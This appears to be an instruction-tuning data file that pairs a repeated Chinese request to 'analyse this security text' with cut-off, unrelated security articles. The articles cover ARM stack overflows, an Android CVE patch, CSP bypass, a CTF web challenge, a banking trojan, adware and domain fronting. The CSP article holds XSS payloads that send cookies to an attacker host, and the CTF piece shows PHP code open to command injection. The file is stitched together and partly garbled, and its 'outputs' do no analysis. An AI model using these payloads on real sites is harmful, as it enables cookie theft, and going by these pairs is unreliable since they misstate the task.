    969 0x00009090 0x08051090 GLOBAL   FUNC  291 __libc_sigaction
    970 0x00051ef0 0x08099ef0 GLOBAL   FUNC   69 __isnanl
    971 0x00042ae0 0x0808aae0 GLOBAL   FUNC  170 __libc_pread
    974 0x0001db60 0x08065b60 GLOBAL   FUNC   34 strcpy
    975 0x0003c460 0x08084460 GLOBAL   FUNC  200 _IO_wdefault_xsgetn
    976 0x00012080 0x0805a080 GLOBAL   FUNC    9 __fcloseall
    977 0x00020630 0x08068630 GLOBAL   FUNC   44 __syslog
    978 0x00000ba3 0x08048ba3 GLOBAL   FUNC   74 V8ULRand
    979 0x0000e600 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# ARM汇编之堆栈溢出实战分析二(GDB)
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
经过很长一段时间在[azeria-labs](https://azeria-labs.com/writing-arm-assembly-part-1/)进行的ARM基础汇编学习，学到了很多ARM汇编的基础知识、和简单的shellcode的编写，为了验证自己的学习成果，根据该网站提供的实例，做一次比较详细的逆向分析，和shellcode的实现，为自己的ARM入门学习巩固,本篇Paper是承接上一篇[ARM汇编之堆栈溢出实战分析一(GDB)](https://www.anquanke.com/post/id/169071)后针对剩余的练习例子做一个分析。
实例下载地址：git clone <https://github.com/azeria-labs/ARM-challenges.git>
调试环境：`Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l
GNU/Linux`+`GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1)
7.7.1`（这些都是按照网站教程安装的如果自己有ARM架构的操作系统也是可以的）
## stack1
这里用到了`checksec工具`，简要说下下载安装方式
先下载cheksec：`git clone https://github.com/slimm609/checksec.sh.git`，然后使用`ln -sf
<checksec绝对路径> /usr/bin/checksec`，安装ok
  1. `checksec -f stack1`,保护措施基本都已经关闭，所以不需要做涉及更多的绕过技术来逃过保护机制，下面直接分析程序
        pi[@raspberrypi](https://github.com/raspberrypi "@raspberrypi"):~/Desktop/ARM-challenges $ checksec -f stack1
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable  FILE
    No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   113 Symbols     No    0        4    stack1
  2. 直接运行程序`./stack1`，返回如下，让我们附带参数输入。
    pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack1
    stack1: please specify an argument
    pi@raspberrypi:~/Desktop/ARM-challenges $
附带参数输入，根据返回结果说明内部有个判断语句将错误的参数都返回执行这样的输出，下面我们进入程序汇编代码，仔细分析他的逻辑
    pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack1 111
    Try again, you got 0x00000000
3.`objdump -d ./stack1`获取到反汇编代码
`第一个分支判断语句`：可以看到，先判断`[fp,
#-80]`内的参数的个数（`可执行文件路径名占第一个参数值`），来进行第一次分支跳转，如果没有跳转就输出`[pc,
#92]-->0x10538-->0x000105bc-->"please specify an
argumentn"`，然后退出。所以我们假设输入了参数，执行了第一个分支跳转，跳到了`104dc`位置执行，在这里它将`r1+4`的位置也就是参数存放的地址给了`r3`，然后当参数赋值给`r1`，把`r11-#72`的位置放入参数`r0`内，开始执行strcpy函数，把第一个参数的值的地址赋给r0。
`第二个分支判断语句`：将之前`[fp, #-8]`地址处的`0`和`[pc,
#48]`处的值`0x61626364`进行比较，如果不相等，就跳转到`1051c`，格式化输出带有[fp, #-8]处值的`Try again, you
got 0x%08xn`。到这里我们基...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CVE-2016-0846分析

##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**0x01 背景介绍 :**
Google在四月份的Android
Bulletin上公布了CVE-2016-0846,这是由IMemory组件OOB所导致的任意地址读写,根据bulletin对该漏洞的描述,恶意应用可以利用IMemory本地接口的特权提升漏洞,通过一个本地的恶意应用,可获取系统应用的上下文并执行任意代码。
当然Bulletin上的描述是最坏情况下的后果,笔者能力只够利用该洞进行越界读导致crash。该漏洞作者是Project Zero的James
Forshaw,十分珍贵的issue也已公开,且网上也有两个已公开的PoC,分别是Forshaw编写的纯java的PoC以及龚广的cpp编写的PoC,参考资料相当丰富。
**0x02 补丁分析 :**
该洞的补丁补在libs/binder/IMemory.cpp文件内的BpMemory::getMemory函数中,该函数通过remote()获取一个BpBinder代理对象,并调用该对象的transact函数给运行在远程的服务端发送一个GET_MEMORY请求,并将请求返回的结果通过Parcel类型的reply返回。
然而,由于对远程返回结果的过于信任,未打补丁前,直接将size与offset赋给了成员变量mOffset与mSize,而这样做会存在潜在的威胁,详情请接着看后文的分析。打补丁之后,在赋值前先调用getSize()函数获取mHeap的真正堆大小,然后检验Binder调用传回的offset与size的合法性,从而在IMemory的Proxy端避免了越界读写的可能。
补丁信息如下:
    @@ -26,6 +26,7 @@
    #include <sys/mman.h>
    #include <binder/IMemory.h>
    +#include <cutils/log.h>
    #include <utils/KeyedVector.h>
    #include <utils/threads.h>
    #include <utils/Atomic.h>
    @@ -187,15 +188,26 @@
    if (heap != 0) {
    mHeap = interface_cast<IMemoryHeap>(heap);
    if (mHeap != 0) {
    - mOffset = o;
    - mSize = s;
    + size_t heapSize = mHeap->getSize();
    + if (s <= heapSize
    + && o >= 0
    + && (static_cast<size_t>(o) <= heapSize - s)) {
    + mOffset = o;
    + mSize = s;
    + } else {
    + // Hm.
    + android_errorWriteWithInfoLog(0x534e4554,
    + "26877992", -1, NULL, 0);
    + mOffset = 0;
    + mSize = 0;
    + }
    }
    }
    }
    }
    if (offset) *offset = mOffset;
    if (size) *size = mSize;
    - return mHeap;
    + return (mSize > 0) ? mHeap : 0;
    }
    // ---------------------------------------------------------------------------
**0x03 类间关系及程序流程分析**
如上补丁所补的BpMemory实则是一个实现了IMemory接口的Binder代理对象,通常程序通过该代理向运行在服务端的MemoryBase发送请求。Android系统提供了MemoryHeapBase与MemoryBase两个C++类,以方便应用程序使用匿名共享内存。其中MemoryBase类是在MemoryHeapBase的基础上实现的,在MemoryBase内部有一个类型为IMemoryHeap的强指针mHeap,它指向一个MemoryHeapBase服务,MemoryBase类通过mOffset与mSize来维护mHeap的一小块匿名共享内存。
    class MemoryBase :...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

作者：Zhiniang Peng from Qihoo 360 Core Security
来源：[360 Technology Blog](http://blogs.360.cn/post/NEO_dBFT.html "360
Technology Blog")
在NEO采用dBFT机制实现共识节点之间的“拜占庭容错”，并在NEO白皮书中描述恶意共识节点小于1/3的时候，该共识机制能够保证系统的安全性和可用性。我们经过研究发现，目前NEO的dBFT机制仅能保证诚实的共识节点之间达成共识。但共识节点之间不存在分叉，并不意味着全网不会存在分叉。NEO目前对dBFT共识机制的实现还不满足
`f = 「floor (n-1) / 3)」` 的拜占庭容错性质。
### NEO dBFT共识机制简介
NEO区块链是一个分布式的智能合约平台。NEO实现了一种委托的拜占庭容错共识算法，它借鉴了一些 PoS 的特点（NEO持有人需要对共识节点进行投票）
利用最小的资源来保障网络免受拜占庭故障的影响，同时也弥补了 PoS 的一些问题。dBFT对由n个共识节点组成的共识系统，提供 `f = 「floor
(n-1) / 3)」` 的容错能力，这种容错能力同时包含安全性和可用性，并适用于任何网络环境。
NEO dBFT共识机制可以详细见NEO官方共识机制白皮书：
  * <http://docs.neo.org/zh-cn/basic/consensus/whitepaper.html> (中文版)
  * <http://docs.neo.org/en-us/basic/consensus/whitepaper.html> (英文版)
### 拜占庭将军问题和区块链
拜占庭位于如今的土耳其的伊斯坦布尔，是东罗马帝国的首都。由于当时拜占庭罗马帝国国土辽阔，为了防御目的，因此每个军队都分隔很远，将军与将军之间只能靠信差传消息。
在战争的时候，拜占庭军队内所有将军和副官必需达成一致的共识，决定是否有赢的机会才去攻打敌人的阵营。但是，在军队内有可能存有叛徒和敌军的间谍，左右将军们的决定又扰乱整体军队的秩序。在进行共识时，结果并不代表大多数人的意见。这时候，在已知有成员谋反的情况下，其余忠诚的将军在不受叛徒的影响下如何达成一致的协议，拜占庭问题就此形成。PBFT算法，是解决拜占庭将军问题的一个经典算法。
区块链是一种去中心化的分布式账本系统，它可以用于登记和发行数字化资产、产权凭证、积分等，并以点对点的方式进行转账、支付和交易。区块链技术最早是由中本聪在一个密码学的邮件列表中提出的，也就是比特币。此后，基于区块链技术的各种应用纷纷出现，比如基于区块链的电子现金系统、基于区块链的股权交易系统、基于区块链的智能合约系统等。区块链系统与传统的中心化账本系统相比，具有完全公开、不可篡改、防止多重支付等优点，并且不依赖于任何的可信第三方。然而，和任何分布式系统一样，区块链系统会面临网络延迟、传输错误、软件错误、安全漏洞、黑客入侵等问题。此外，去中心化的特点决定了此系统的任何一个参与者都不能被信任，可能会出现恶意节点，以及因各方利益不一致导致的数据分歧等问题。为了防范这些潜在的错误，区块链系统需要一个高效的共识机制来确保每一个节点都有一个唯一公认的全局账本。传统的针对某些特定问题的容错方法，并不能完全解决分布式系统以及区块链系统的容错问题，人们需要一种能够容忍任何种类错误的容错方案。
### NEO区块链共识机制细节
采用了拜占庭容错委托（dBFT）作为共识机制（ <http://docs.neo.org/en-us/basic/consensus/consensus.html>
）。全网中的NEO节点分为两类节点：一类为共识记点，负责和其他共识记点之间进行共识通讯，产生新的区块；另外一类为普通节点，不参与共识，但能够验证和接受新的区块。共识节点由全网用户通过投票产生。NEO节点提出dBFT的背后思想是：PBFT算法能够很好的解决分布式节点的共识问题，但是PBFT共识参与节点数量越大性能就会越低。采用投票选取出相对较小数量的共识节点内部进行PBFT共识生成新区块，然后将该新区块发布到全网中达成全网共识。NEO共识节点之间，产生新区块的正常共识流程如下：
  1. 开启共识的节点分为两大类，非记账人和记账人节点，非记账人的不参与共识，记账人参与共识流程
  2. 选择议长，Neo议长产生机制是根据当前块高度和记账人数量做MOD运算得到，议长实际上按顺序当选
  3. 节点初始化，议长为primary节点，议员为backup节点。
  4. 满足出块条件后议长发送PrepareRequest
  5. 议员收到请求后，验证通过签名发送PrepareResponse
 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。
先知技术社区投稿邮箱：Aliyun_xianzhi@service.alibaba.com；
初探 CSP Bypass
[+] Author: math1as[+] Team: L team
# 1 引言
无论是反射型/存储型
XSS,都因为其payload富于变化而难以被彻底根除。而目前通过对输入输出的检测,浏览器自身的filter对反射型xss有了一定的检测能力但是对于存储型XSS仍然缺乏一个有效通用解决方案。内容安全策略(csp)将在未来的XSS防御中,扮演着日渐重要的角色。但是由于浏览器的支持,XSS的环境复杂多变等问题,仍然会存在很多Bypass的方法。
# 1.1 浏览器对csp的支持情况
firefox对csp的支持一直都走在前列,目前它能够较好的实现csp规范。而chrome则稍有迟缓,对于一些最新的特性没有跟上。曾经就因为chrome对csp的支持不完善,产生了一些问题,比如直到chrome45都是默认禁止inline脚本的执行的,即使增加'unsafe-inline'模式也没有任何作用,由于目前的大部分站点都或多或少的会有一些inline-javascript脚本的存在,给程序员带来了很多麻烦,如下是官方文档的原文:Up until Chrome 45, there was no
mechanism for relaxing the restriction against executing inline JavaScript. In
particular, setting a script policy that includes 'unsafe-inline' will have no
effect.当然在现在的版本中,chrome已经基本上可以说是在逐步完善csp的支持。'unsafe-inline'模式可以在chrome中正常使用了
# 1.2 测试环境
在本文所叙述的各类bypass方法的测试环境中,用到的浏览器版本如下:chrome 54.0 / firefox
50.0服务器环境版本如下:apache/nginx+php5.6
# 2 Unsafe-inline下的bypass
由于开发者在开发的过程中,为了提高效率和方便测试,会经常直接使用inline脚本因此在这个环境下,笔者设置的csp策略如下default-src
'self';script-src 'self' 'unsafe-inline'
除了script开启unsafe-inline模式外,其余资源仅允许加载同域
# 2.1 link标签的rel属性带来的bypass
2.1.1 firefox浏览器
由于<link>标签最新的rel属性dns-prefetch尚未被加入csp实现中
使用如下payload,即可发出一条dns解析请求,在ns服务器查看可得到内容
<link rel="dns-prefetch" href="[cookie].xss.com">dns-prefe
tchdns-pfetchdns-predns-prefetchfetch
2.1.2 chrome浏览器
chrome浏览器的csp策略对<link>标签rel属性则更为宽松,使用prefetch即可
直接用get方式把cookie传递到攻击者的服务器上
<link rel="prefetch"
href="[http://www.xss.com/x.php?c=[cookie]"&gt](http://www.xss.com/x.php?c=\[cookie\]"&gt);
只需要用js动态创建元素的方法,就可在href中插入cookiedn
s-pre
2.2 通用的bypass方法
上述的1,2两个方法在 n0tr00t security team的《Bypass unsafe-inline mode CSP》一文
已经给予了详细的介绍,但是1,2更多的是从csp对标签新属性的不完善入手的。
其实在script脚本允许unsafe-inline的情况下,会有更多的通用,而且无法被过滤的绕过方式,比如:
<script>
window.location="[http://www.xss.com/x.php?c=[cookie]&quot](http://www.xss.com/x.php?c=\[cookie\]&quot);;
</script>
很明显的,csp没有对location.href做任何的限制,也就是这个窗体自身的url跳转是不受影响的
原因其实也很简单,大部分的网站跳转都还是要依...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

昨天打了第四届上海市大学生网络安全大赛，这里记录下四道web的解题过程。
# web1
题目描述:what are you doing?
这题说实话比较脑洞。。
进来之后，页面没什么东西，注释有提示还是注释有提示，根据注释，添加header:`X-Client-IP:127.0.0.1`以及post
`admin=1`就可以看到下一步关键提示
# web2
题目描述：Can you hack me?
进来之后同样是一个没东西的页面这次注释也没东西，那么直接扫一波目录，发现有`.index.php.swp`，下载下来，用`vim
-r`复原所有代码如下:
    <?php
    error_reporting(0);
    class come{
        private $method;
        private $args;
        function __construct($method, $args) {
            $this->method = $method;
            $this->args = $args;
        }
        function __wakeup(){
            foreach($this->args as $k => $v) {
                $this->args[$k] = $this->waf(trim($v));
            }
        }
        function waf($str){
            $str=preg_replace("/[<>*;|?\n ]/","",$str);
            $str=str_replace('flag','',$str);
            return $str;
        }
        function echo($host){
            system("echo $host");
        }
        function __destruct(){
            if (in_array($this->method, array("echo"))) {
                call_user_func_array(array($this, $this->method), $this->args);
            }
        }
    }
    $first='hi';
    $var='var';
    $bbb='bbb';
    $ccc='ccc';
    $i=1;
    foreach($_GET as $key => $value) {
            if($i===1)
            {
                $i++;
                $$key = $value;
            }
            else{break;}
    }
    if($first==="doller")
    {
        @parse_str($_GET['a']);
    if($var==='give'){
        if($bbb==='me'){
            if($ccc==='flag'){
                echo "
welcome
";
                $come=@$_POST['come'];
                unserialize($come);
            }
        }
        else{
            echo "
think about it
";
        }
    }
    else{
        echo "no";
    }
    }
    else{
        echo "can you hack me?";
    }
    ?>
前面是一个类的声明，然后看这个部分`的处理，这里很明显，`$args`得是一个数组。
然后再看，`waf`函数禁用了一些东西，但是好像本来就没打算用得上，还把flag替换为空，简单双写即可绕过。
再看`echo`函数，调用了`system()`，而且参数可控，明显可以命令注入。
最后看`__destruct`，这里限定了传进去的`$me...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 攻击可解释性技术

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## AI中的攻防
方院士曾经提到，对于安全领域而言，当一项新技术出现的时候，会面临两种情况，一种情况是用其赋能安全，在这方面可以赋能攻击，也可以赋能防御，比如生成对抗网络(GAN)，可以用GAN识别恶意软件，也可以用GAN生成可以绕过杀软的恶意软件；另一种情况是其本身存在安全问题，对抗样本、数据投毒均属于这一种情况。
我们来简单整理一下发展脉络，出现了AI技术，人们想着用它来辅助安全，比如基于AI的杀毒引擎，但是攻击者开始研究AI本身的缺陷，发现了对抗样本的存在，其根本原因学术界尚有争议，但是它是深度学习模型的本质缺陷，只要是深度学习模型都会存在对抗样本的问题，所以攻击者可以构造能够规避基于AI的杀毒引擎检测的对抗样本(adversarial
attack在其出现之前，还有个名称，就叫做evasion
attack)。既然对抗样本无法规避，那么是否可以用一些可解释性技术，来解释模型做出决策的依据呢，如果可以做到这一点，我们知道是样本的哪一特征或者一些特征的组合让模型将其分类为正常软件或者恶意软件，那也是可以的。简单地说，我们用AI作为引擎辅助防御，但是攻击者能够AI本身，为了提高其决策可靠性，人们又引入了可解释技术，那么，攻击者是否可以进一步去攻击攻击、欺骗可解释性技术呢?
答案是可以的，这也是文本的重点，将会介绍如何攻击两种流行的可解释技术：LIME和SHAP.
## 可解释技术
在深度神经网络(Deep Neural
Networks，DNN)的推动下，深度学习在许多领域取得了重大突破。深度神经网络成功的一个关键因素是它的网络足够深，大量非线性网络层的复杂组合能对原始数据在各种抽象层面上提取特
征。然而，由于大多数深度学习模型复杂度高、参数多、透明性低，如黑盒一般，人们无法理解这种“端到端”模型做出决策的机理，无法判断决策是否可靠。
深度学习模型在实际应用中产生了各种问题，可解释性的缺失使这些问题难以解决。例如在医疗领域，看似非常精确的用于肺炎患者预后的系统，非常依赖数据集中的虚假相关性。该系统预测有哮喘病史的病人死于肺炎的风险较低，但这是因为哮喘病人得到了更快、
更好的关注，才导致他们的死亡率更低。实际上，这类病人死于肺炎的风险会更高。在司法领域，借助 COMPAS
软件对罪犯再犯风险的评估，法官能更合理地对保释金额、判刑等做出决策。但由于训练和测试模型时所用数据库的代表样本不足或是无关统计相关等原因，模型存在潜在的人种偏见、性别歧视，或是其他各种主观偏见。在图像处理领域，高度精确的神经网络面对对抗攻击却很脆弱。只需对图像的像素进行不可察觉的改变，图像处理神经网络就可以将其任何预测改变为任何其他可能的预测。
对于安全性要求苛刻的应用，例如健康诊断、信用
额度、刑事审判，人们依旧选择线性回归、决策树等不那么精确，但人类可理解的模型。深度学习模型可解释性的缺失，严重阻碍了其在医学诊断、金融、自动驾驶、军事等高风险决策领域的应用。因此研究可解释性就显得格外重要，可解释性有利于系统的使用者更
好地理解系统的强项和不足，并明确系统的知识边界，了解系统在何种情况下有效，从而恰当地信任和使用系统来进行预测。对系统的设计者而言，可解释性有利于优化和改进系统，避免模型中的歧视和偏见，并加强对系统的管理和监控。
可解释性技术的关键在于将模型决策结果以可理解的方式向人类呈现，它有助于人们理解复杂模型的内部工作机制以及模型如何做出特定决策等重要问题。从模型自身的性质来看，线性模型、决策树天生带有可解释性，而深度学习天生是不具有可解释性的，为了提升可解释性，可解释性技术可以分为两类：全局可解释性和局部可解释性。全局可解释性从整体上理解模型如何进行预测，而局部可解释性为模型的单个预测提供局部解释，后者的代表就是LIME和SHAP。
###  LIME&SHAP
LIME、SHAP这类方法的本质是构建更简单的可解释模型，用这些模型作为复杂模型的近似，可以解释任何给定的黑盒分类器，它们通过通过学习每个预测的局部可解释模型(如线性模型)，以一种可解释、可靠的方式解释任何分类器的单个预测，它们估计实例上的特征属性，确定每个特征对模型预测的贡献。
设f为需要解释的分类器，g是选中的用于学习并解释f的可解释模型，G是g的集合
另设g的复杂度为Ω( _g_ )，对于线性模型而言，其可由非零权重的数量来衡量；并用πx来衡量x和x’的相近程度
LIME,SHAP的目标就是在生成一种解释，同时满足:1.在x附近逼近黑盒行为；2.复杂度尽可能低,故目标函数如下所示
上式中的损失函数定义为
其中X’是在x附近的x’的集合
而LIME和SHAP的主要区别在于如何...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 来自巴西的跨平台银行木马
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://securelist.com/blog/research/74051/first-step-in-cross-platform-trojan-bankers-from-brazil-done/>
译文仅供参考，具体内容表达以及含义原文为准。
在此之前，巴西的网络犯罪分子们一只都在与俄罗斯的黑客们比赛，竞争的焦点就在于到底谁能开发出更多的银行木马病毒，而且到底是谁开发出来的银行木马更加有效。几天之前，我们发现了一种与以往有所不同的新型木马病毒传播途径，攻击者能够在Jar文件中附带“Banloader”组件，而这也是一种非常常见的操作方式，因为由Java语言所开发的程序（jar包）能够在Linux，OS
X，以及Windows等主流操作系统上运行。实际上，他也可以在特定的移动设备环境中正常运行。
**社会工程学技术**
社会工程学(Social
Engineering)是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段，并以此来获取自身利益的手法。近年来已成迅速上升甚至滥用的趋势。那么，什么算是社会工程学呢?它并不能等同于一般的欺骗手法，社会工程学尤其复杂，即使自认为最警惕最小心的人，一样可能会被高明的社会工程学手段损害利益。
我们在进行了分析之后，发现有的电子邮件中附带有Jar文件的下载链接，而有的情况则是攻击者直接向目标主机传播Jar文件包，这样一来，目标用户就不用直接从网络上下载任何东西了。
**感染木马**
当目标用户点击了这条恶意链接之后，目标计算机将会迅速被木马所感染。由此看来，我们不得不承认巴西的网络犯罪分子们的确是社会工程学方面的专家。那么，当受害者点击了这条恶意链接之后，接下来会发生什么呢？结果肯定是各种各样的，具体的情况将取决于此次攻击背后的黑客组织。我们之所以会这么说，是因为我们虽然在此之前已经见过很多来自巴西的各类网络犯罪团伙了，但是这些黑客组织显然不会使用Jar文件来对银行用户进行攻击，因为这不是他们的攻击风格。
但事实上，无论目标用户使用的是哪一种操作系统，不管是OS
X，还是Linux，又或者是Windows，只要目标用户在其计算机中安装了Java环境，“Banloader”就能够运行并对系统进行感染。
但是有的黑客组织仍在使用传统的攻击方式，即：将目标用户重定向至一个虚假的银行网站：
而有的攻击者则会利用DES或者RSA加密算法来对Jar程序的代码进行较为复杂的混淆处理。
当我们对这些代码进行了反混淆处理之后，我们可以清楚地看到，Jar包中的代码会将一个文件存入目标系统之中，而这个文件就是攻击者用来盗取目标用户银行存款的工具：
**有趣的字符串数据**
除了上述信息之外，我们还发现了网络犯罪分子所留下的字符串信息，但我们尚不清楚这是有意为之，还是无心之举。我们在不同的Jar银行木马中发现了下列字符串信息：
“liberdade” – 意为自由，平等；
“maravilha” – 意味奇迹，美好的事物；
**这种攻击的重要性在哪？**
由于只要目标系统中安装有Java运行环境，那么Jar文件就可以在Windows，OS
X，以及Linux等主流操作系统中运行。所以这也就是巴西的犯罪分子们使用Java语言来开发这个“[跨平台](https://securelist.com/blog/research/73660/adwind-faq/)”银行木马的原因。
**这意味着什么？**
开发这款银行木马的巴西黑客正在开发能够在所有操作系统平台中运行的木马病毒，而不仅仅只局限于Windows操作系统。
这是否意味着OS X和Linux的用户们现在也成为了巴西网络犯罪分子们的攻击目标？
至少目前还不是。我们之所以这样说，是因为“Banloader”组件是在Jar包之中，但是最终起作用的恶意软件仍然是针对Windows操作系统而设计的。所以，就我们目前所发现的信息来看，制作跨平台的木马病毒只是巴西黑客所进行的第一步。所以，巴西的网络犯罪分子迟早会对所有的操作系统平台产生威胁，这只是时间问题。
巴西的网络犯罪分子们是否会继续开发这类跨平台的木马病毒？
目前，我们有理由相信他们会继续开发这类跨平台的木马病毒。而且他们才刚刚开始，他们不可能现在就停下脚步。
这些Jar恶意软件的隐蔽性到底有多强？
实际上，目前主流的反病毒产品对这类木马病毒的检测率都是比较低的。
卡巴斯基实验室的反病毒产品在检测这类安全威胁时，将病毒名称定为什么？
根据每一个病毒样本的特性，安全研究人员将这些木马病毒归为以下几类：
l Trojan-Banker.Java.Agent
l T...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 警惕 云控广告“游戏盒子”死灰复燃
|
##### 译文声明
本文是翻译文章，文章来源：360QVM@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
近日,360互联网安全中心拦截了大量可疑流氓推广样本,这些样本伪装成游戏盒子,安装后接收云端指令,会强制下载推广软件,弹窗,修改主页,通过用户的电脑赚取大量的利益,本文将对此样本详细分析.
概述:
该木马通过下载站捆绑传播,安装后潜伏25分钟,25分钟后向服务器发送机器信息(系统版本,软件版本号等),收到指令后下载推广软件和刷流量软件,系统重启后静默安装同时启动刷流量的软件,占用系统大量资源和流量.总感染量达数千万.
样本信息:
图 1 安装包
Setup11009.exe
文件大小: 362752 字节
MD5 e20ecf2a617ae0a063b49668a64577ec
安装包和程序都使用同一个签名
行为分析:
1) 安装后目录结构:
图 2 目录结构
2) 程序列表中:
程序名为 gmbox Redistributable Package(kb20140526) ,伪装成Windows补丁包程序
时间为真实安装时间的一年前
图 3 控制面板-卸载程序-显示
3) 开始菜单显示为 GXBox游戏
图 4 开始菜单
4) 托盘显示图标
图 5 托盘图标
5) 打开后,伪装成游戏广告
图 6 主界面
6) 添加服务,名称为GmXbox_update, dll路径指向安装目录下的gmbox.dll
图 7 服务名称
图 8 服务DLL路径
7) 在HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun添加启动项,参数为
-tray,每次启动不显示主界面,只有托盘图标
图 9 启动项
8) 安装后25分钟,在临时目录下载了数个广告软件和安装程序
图 10 下载安装包
图 11 临时目录中下载的安装包
其中
1\. ir56.exe 调用下载的广告程序安装包.
2\. hw.dat 遍历安装程序,使其窗口隐藏.
3\. ck.dat 刷网站流量.
这3个程序的PE头被修改,防止被杀软查杀.
图 12 修改后的PE头
其他为广告软件安装程序.
系统重启后,广告程序全部都静默安装
技术细节:
1) 安装过程:
A) 安装包使用NSIS打包
首先,禁用常用程序的快速启动任务栏显示,为后面安装软件留位置
WriteRegStr HKCR Applications$_gmbox_.exe NoStartPage ""
WriteRegStr HKCR Applicationsuninstall.exe NoStartPage ""
WriteRegStr HKCR Applicationsuninstall.exe NoStartPage ""
WriteRegStr HKCR Applicationsrsmain.exe NoStartPage ""
WriteRegStr HKCR Applications360sd.exe NoStartPage ""
WriteRegStr HKCR Applicationsrsagent.exe NoStartPage ""
WriteRegStr HKCR Applications360safe.exe NoStartPage ""
WriteRegStr HKCR Applicationsrsmctray.exe NoStartPage ""
WriteRegStr HKCR Applicationskav.exe NoStartPage ""
WriteRegStr HKCR Applicationsrsstub.exe NoStartPage ""
WriteRegStr HKCR ApplicationsSHPlayer.exe NoStartPage ""
WriteRegStr HKCR Applicationswandoujia.exe NoStartPage ""
WriteRegStr HKCR Applicationswandoujia2.exe NoStartPage ""
WriteRegStr HKCR ApplicationsUninst.exe NoStartPage ""
B) 删除桌面和IE中的网址导航快捷方式
Delete $DESKTOP*123*.lnk
Delete $DESKTOP*123*.url
Delete $DESKTOP*Int*.lnk
Delete $DESKTOP*Int*.url
Delete $DESKTOP*1nt*.lnk
Delete $DESKTOP*1nt*.url
Delete $DESKTOP*网址*.lnk
Del...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 域前置水太深，偷学六娃来隐身——域前置攻击复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
又是平静的一天，吉良吉影只想过平静的生活。
哦，对不起拿错剧本了。
重保期，RT 使用了多种方法来攻击资产， 其中不乏低级的方法。
1\. 给客服 MM 传恶意文件，威胁不运行就投诉的，伪造<五一放假通知>钓鱼的。
2\. 邮件内嵌病毒的。（以至于笔者公司真发了一个放假通知邮件，一堆人问是不是钓鱼）
我司的放假通知邮件
3\. 甚至还有跟我们分析人员聊天的。（RT：世界上无聊的人那么多，为何不能算我一个）
RT 与我司分析师小哥哥的聊天记录
4\. 当然高级的手法也有很多，比如像我们之前发的文章《[RT 又玩新套路，竟然这样隐藏
C2](http://mp.weixin.qq.com/s?__biz=MzA5MDc1NDc1MQ==&mid=2247487065&idx=1&sn=5503dd715b3f2131aacba91d0075be9e&chksm=90079589a7701c9f6b808de703de88dd517f31e054a90af9cd61bd8b9ea4281d27d43b163666&scene=21#wechat_redirect)》，使用云函数隐藏
IP 的，还有大范围使前两年出现的域前置攻击的，甚至还有劫持微软子域名伪造升级补丁的， 真是让人眼花缭乱，防不胜防。我们也被 RT
的思路深深折服，大呼过瘾。
本文将从防守方的视角来复现域前置攻击的细节，其中涉及到某云的一个域前置验证漏洞，我们已在第一时间反馈给该云，在本文发布之前，该漏洞已经修复。
## What is 域前置
域前置（Domain fronting），是一种隐藏连接真实端点来规避互联网审查的技术。在应用层上运作时，域前置使用户能通过 HTTPS
连接到被屏蔽的服务，而表面上像是在与另一个完全不同的站点通信。
简单理解：
表面看，头部 CDN 通讯域名（我们看得到）；
实际内部，尾部真实 IP（我们看不到）。
哦，对不起，拿错图了。应该是下面这张：
很多同学曾发文说，只有 HTTPS 才算是域前置，其原理是明文的 DNS 请求。
国外也有文章认为，当听到域前置的时候，只需要认为攻击者将 HTTP Header 中的 Host 头变换为位于 CDN 后面的高信誉网站即可。
图片来源：https://malcomvetter.medium.com/simplifying-domain-fronting-8d23dcb694a0
因此，宏观定义的域前置应该也包含 80 端口的情况，即也包含 HTTP 和 HTTPS 两种情况。
在真正的应用场景中，HTTPS 在攻击中只是多了一层 TLS 验证，所以本文主要复现 HTTP 层的域前置攻击。HTTPS 其实同理，只需要在 CS
配置中填写 443 端口，以及在 CDN 厂商中设置增加证书和 443 端口即可。
就不要细抠到底属不属于域前置啦~
## 两个云厂商的域前置可行性实践
网上的东西都是虚拟的，把握不住，所以我们打算亲身实践一下。
只图学东西，不图挣 W。
我们以 A 和 B 两个云厂商为实践对象。
首先，来看看某 A 云的 CDN 机制。
我们先找了一个使用了 A 云 CDN 服务的域名，例子为：***gzhongshangcheng.com。
当我们直接请求的时候，很明显正常显示了这个域名的内容，标题是大家乐游戏下载。如下图所示：
然后，我们再找另一个使用了 A 云 CDN 服务的域名 g*oud.cn，同样直接请求了该域名，且标题为 301 跳转。
好的，当我们仍然请求 g*oud.cn，但将 Header 头中的 Host 字段更改为***gzhongshangcheng.com 域名，会怎么样呢？
试了一下，发现返回的竟是 Host 字段中 ***gzhongshangcheng.com 的内容。
这便是可以使用 CDN 进行域前置攻击的原因了，当我们请求一个部署了 CDN 服务的域名时，实际上也默认使用了云厂商内部的解析器。
而云厂商内部的解析器，实际会根据 Header 中的 Host 字段判断回源域名（这个概念我后面会讲），最后效果是 **，请求内容以Host字段为准。**
这时候有读者会问了，当我们请求域名的时候，实际也是 DNS 解析成 IP 呀。
